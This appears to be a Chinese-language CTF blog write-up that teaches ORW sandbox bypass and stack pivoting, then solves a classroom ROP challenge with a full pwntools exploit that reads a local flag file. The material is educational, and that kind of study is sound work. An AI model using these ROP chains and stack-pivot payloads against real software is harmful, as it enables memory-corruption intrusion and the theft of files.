冷たいその手 君のせいじゃない。
ORW
参考&引用:
https://xz.aliyun.com/news/12233
https://www.cnblogs.com/falling-dusk/p/18101528
ORW (Open-Read-Write) 策略:调用 open 打开 flag 文件,调用 read 读取内容,调用 write 将内容打印到屏幕。
也就是想办法构造这些命令:
1 2 3
| open("flag") read(3, "buf", 0x100) write(1, "buf", 0x100)
|
另外也不限于这几个函数,只要能达到绕过沙箱读取文件内容并且输出,应该可以随便组合(write换puts啥的)
沙箱保护
沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP的方式获取flag
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
ROP链的ORW
寄存器和参数的对应关系:
1 2
| open(rdi-->file_addr,rsi-->oflag) read/write(rdi-->fd,rsi-->buf,rdx-->s_nbytes)
|
mmap()函数
没碰到所以纯引用了 呆
一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存
使用mmap申请适合4byte的寄存器的地址
mmap()函数原型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void *mmap{ void *addr; //映射区首地址,传NULL size_t length; //映射区大小 //会自动调为4k的整数倍 //不能为0 //一般文件多大,length就指定多大 int prot; //映射区权限 //PROT_READ 映射区必须要有读权限 //PROT_WRITE //PROT_READ | PROT_WRITE int flags; //标志位参数 //MAP_SHARED 修改内存数据会同步到磁盘 //MAP_PRIVATE 修改内存数据不会同步到磁盘 int fd; //要映射文件所对应的文件描述符 off_t offset; //映射文件的偏移量,从文件哪个位置开始 //映射的时候文件指针的偏移量 //必须是4k的整数倍 //一般设为0 }
|
| mmap |
|
|
| addr |
要申请的地址 |
建议四位 |
| length |
从addr开始申请的长度 |
建议一页0x1000 |
| prot |
权限 |
7 |
| flags |
确定映射的更新是否对其他进程可见 |
0x22 |
| fd |
映射到文件描述符fd |
0xFFFFFFFF |
| offset |
映射偏移 |
NULL |
栈迁移
参考&引用:
https://www.cnblogs.com/max1z/p/15299000.html(图很清楚,还讲了栈溢出,请看)
https://blog.csdn.net/Palpitate_LL/article/details/154949680 (哦这个图也好)
打栈溢出的时候发现栈上没有足够的空间写shellcode的时候,可以使用栈迁移,将栈搬到别的地方去(将栈指针搬到别的地方去),然后在那个空间写shellcode。
严肃一点说:劫持rsp寄存器指向攻击者可以布置shellcode的内存地址
劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。
除此之外,能控制rsp或者rbp的应该都行(pwn✌️说的)
leave; ret
复习一下leave和ret的含义
1 2 3 4 5
| leave: mov rsp, rbp pop rbp ret: pop rip
|
执行leave; ret过程中栈的变化:

可以看到在执行完leave指令后rsp寄存器指向了返回地址。所以想要让rsp指向目的地址的话,只需要通过栈溢出将rbp篡改,rsp也会被篡改。在这个目的地址处再布置需要的rop gadget,就能解决栈空间不足的问题
两次leave将rsp劫持到任意地址:

具体来说,设要转移的地址为TargetAddr,使用栈溢出将saved rbp处覆盖为TargetAddr-8(64位,32位是-4),将ret处覆盖为LeaveRetAddr(另一组 leave ret 的地址)。然后返回时:
1 2 3 4 5 6 7 8 9 10
| leave1: mov rsp, rbp ; [rsp] = TargetAddr-8, [rbp] = TargetAddr-8 pop rbp ; [rsp] = LeaveRetAddr, rbp = TargetAddr-8 ret1: pop rip ; rip = LeaveRetAddr leave2: mov rsp, rbp ; rsp = TargetAddr-8, rbp = TargetAddr-8 pop rbp ; rsp = TargetAddr, rbp = *(TargetAddr-8,) ret: pop rip ; rip = *TargetAddr
|
在第二次leave时成功将rsp转移到了目标上
使用栈迁移的必要条件
- 存在可以劫持程序流和控制rbp/rsp寄存器的漏洞
- 攻击者可以确定准确某一块具有读写权限的地址(常用bss段)
- 存在leave ret 这类gadget指令
payload大概长这样
就是传参方式的区别
64位
1 2 3 4 5 6
| payload1 = b'a' * 0x100 + p64(bss_base) payload1 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_base) + p64(0) + p64(read_plt) payload1 += p64(leave_ret) p.sendline(payload1)
payload2 = p64(bss_base + 0x100)
|
32位
1 2 3 4 5
| payload1 = b'a' * 40 + p32(bss_addr) payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) += p32(0x400) p.sendline(payload1)
payload2 = p32(bss_addr + 0x400)
|
题
这是一道课堂练习ROP题
看
x64
main函数,有个沙箱,然后主要逻辑是判断输入,4919到vuln(),9011到some_gifts()
1 2 3 4 5 6 7 8 9 10 11 12 13
| install_seccomp(argc, argv, envp); ... __isoc99_scanf("%d", &n9011); if ( n9011 == 4919 ) { vuln(); } else { if ( n9011 != 9011 ) _exit(1); some_gifts(); }
|
vuln,有溢出。缓冲区大小0x100,读0x150,有0x50空间溢出
1 2 3 4 5 6
| ssize_t vuln() { _BYTE buf[256];
return read(0, buf, 0x150u); }
|
some_gifts,读取./gifts.txt的内容,输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ssize_t some_gifts() { _BYTE s[16]; int fd;
fd = sys_open("./gifts.txt", 0); memset(s, 0, 0x1000u); if ( read(fd, s, 0x1000u) < 0 ) { puts("read error"); _exit(1); } return write(1, s, 0x1000u); }
|
main 函数开头调用了 install_seccomp。这题的沙箱就是用的prctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int __fastcall install_seccomp(int argc, const char **argv, const char **envp, __int64 a4, __int64 a5, __int64 a6) { int result; __int64 v7;
LOWORD(v7) = 15; if ( prctl(38, 1, 0, 0, 0, a6, v7, &filter_3753) < 0 ) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); _exit(2); } result = prctl(22, 2, &v7); if ( result < 0 ) { perror("prctl(PR_SET_SECCOMP)"); _exit(2); } return result; }
|
用seccomp-tools dump ./rop查看沙箱规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
|
只有列出的这些指明了是allow还是kill(架构不符合),默认处理方式是ERRNO(5)(所以大概是白名单策略,默认拒绝)
所以不能通过/bin/bash和execve这些,可以用ORW
思路
基本思路就是open flag,read,write。这题因为栈空间不足还需要栈迁移,就在前面加一个迁移,迁移到bss段去写shellcode。然后还有一个问题是open打开文件需要的字符串(./flag)在程序里没有,所以要用read写入一个
最后要调用的函数及参数如下:
- read(0, bss_base),从标准输入读取payload2存入bss_base
- leave ;ret把rsp转移到bss_base,执行权转到payload2
- read(0, flag_str_addr)从标准输入读取到
./flag字符存到flag_str_addr
- open(flag_str_addr, 0),打开flag文件
- read(3, flag_addr),从文件描述符3读取flag内容到flag_addr
- puts(flag_addr),将flag内容写到标准输出
调完exp之后:
好多东西不写不知道啊。
为什么不用设置read的长度(rdx的值):是利用了寄存器的残余值,read跑完之后rdx还是0x150,够用(以及没有rdx的gadget,虽然非要整应该也不是不行)(以及笛子神说这是一个可以压缩rop链子长度的小trick)
为什么不用write用puts:俺不知道。好像write得设rdx还是怎么,听说不好搞。反正puts更方便
原来还要设一个rbp的值,前面学ORW理论知识的时候看大佬说要跳到目标地址-8,其实也就是因为有一条pop rbp会使rsp+8,如果不用-8这个方法,改在payload里写入rbp的值感觉还更有用,这样就可以完全自定义栈空间了()设这个值也是有讲究的,不要破坏别人的空间以及够自己代码用,大概这样
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ["tmux", "new-window"]
file_path = './rop' elf = ELF(file_path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process(file_path)
pop_rdi = 0x401503 pop_rsi_r15 = 0x401501 leave_ret = 0x4012c7 bss_base = elf.bss() + 0x800 flag_addr = bss_base + 0x500 flag_str_addr = bss_base + 0x600 open_plt = 0x4012C9 read_plt = elf.plt['read'] write_plt = elf.plt['write'] puts_plt = elf.plt['puts']
p.recvuntil(b'your choice:') p.sendline(b'4919')
payload1 = b'a' * 0x100 + p64(bss_base) payload1 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_base) + p64(0) + p64(read_plt) payload1 += p64(leave_ret) p.sendline(payload1)
payload2 = p64(bss_base + 0x100) payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(flag_str_addr) + p64(0) + p64(read_plt) payload2 += p64(pop_rdi) + p64(flag_str_addr) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open_plt) payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(flag_addr) + p64(0) + p64(read_plt)
payload2 += p64(pop_rdi) + p64(flag_addr) + p64(puts_plt) pause() p.sendline(payload2)
pause() p.sendline(b'./flag\x00')
p.interactive()
|
最后,没有远程环境了只能自己建个flag文件打打本地了。大概没问题吧

more
pwn✌️说这题也可以打多次ret2csu